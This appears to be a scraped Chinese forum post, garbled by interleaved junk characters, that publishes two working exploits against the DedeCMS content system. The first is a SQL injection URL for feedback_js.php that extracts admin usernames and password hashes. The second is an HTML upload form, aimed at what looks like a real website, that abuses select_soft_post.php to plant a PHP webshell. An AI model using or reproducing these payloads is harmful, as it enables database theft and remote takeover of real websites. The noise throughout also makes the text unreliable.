3 @8 p: w9 S _, s r- g2 m * G. O' D5 u5 H$ Z& x* `0 L 4 _3 d. R& _9 H) a+ |/ P H % V* S" }9 w k9 j/ h6 h9 f' P: [. z' \! @8 G0 ]: ~$ W
8 [# \! q+ l2 W! P
( q1 Z3 T+ H; ]8 J 9 N; I9 W0 K3 Z' T织梦(Dedecms) 5.1 feedback_js.php 注入漏洞1 m. k$ a$ p& M9 g
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=' & u$ t$ {% Z% z l' C' {1 I+ j. E! S* N
+ i& M; }! l, z `, |$ G- G/ |8 f( c, G p: D( N9 p
( V) e/ ~5 A z# }
& r! t( c. G4 ^, i
( h" ~; h9 i$ |) Q
7 \- h8 k$ Q5 I3 J* U: A
J: V% z* I7 ^) J) `, E
9 R! A9 h5 I% c! l) g
5 F& _7 d, d+ k% `9 F: z# s
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞 ! J8 |( L2 X+ @<html>. ^4 s3 R9 D$ ] V f- I9 R' s4 A7 U: Q
<head> - a+ v! r% Q9 c" \# H<title>Dedecms v55 RCE Exploit Codz By flyh4t</title> $ s; o9 Q: d* Y. `" N# y2 i</head>( y" o% Z4 \: R8 x. b& t7 d) J V
<body style="FONT-SIZE: 9pt"> * j$ m, a4 C0 K5 U---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />/ @1 t& e6 A. g" F# ]2 l& a3 `, r" a
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> & I2 @" l' h5 W' m/ p) E<input type='hidden' name='activepath' value='/data/cache/' /> 8 Z2 N/ R- Y% ]<input type='hidden' name='cfg_basedir' value='../../' /># j( @, g7 r! v. }! f+ i
<input type='hidden' name='cfg_imgtype' value='php' /> " }( I5 \8 H' w2 b8 P) l9 s<input type='hidden' name='cfg_not_allowall' value='txt' />: G, u* o0 y( e/ | e( d$ c0 u1 w
<input type='hidden' name='cfg_softtype' value='php' /> 4 _& N ~9 q, L2 g8 z' j, Z<input type='hidden' name='cfg_mediatype' value='php' />; i7 ]* p/ {+ c/ t9 b
<input type='hidden' name='f' value='form1.enclosure' /> 8 p* H v" `" C; I<input type='hidden' name='job' value='upload' /> / r3 R" J7 n: l- V/ T, L<input type='hidden' name='newname' value='fly.php' />- A7 z+ ~/ u0 T' a6 X+ O
Select U Shell <input type='file' name='uploadfile' size='25' /> ) c/ E" M& P6 f) p* b1 Z<input type='submit' name='sb1' value='确定' />. `, G. Y* }4 X. {( t4 ], n
</form>. f1 h7 Y, A# p" N4 Q
<br />It's just a exp for the bug of Dedecms V55...<br /> 1 j: L5 A# Y# DNeed register_globals = on...<br /> C! s( E& J- I8 u% z6 q* A: c
Fun the game,get a webshell at /data/cache/fly.php...<br /> ! K$ B) _0 H- m! X! b ?</body>0 E5 H$ b; b0 q# j. o+ J4 ?
</html> - Z, \( w1 J' u! \% I0 ? B E% H- d7 [1 [6 Q$ F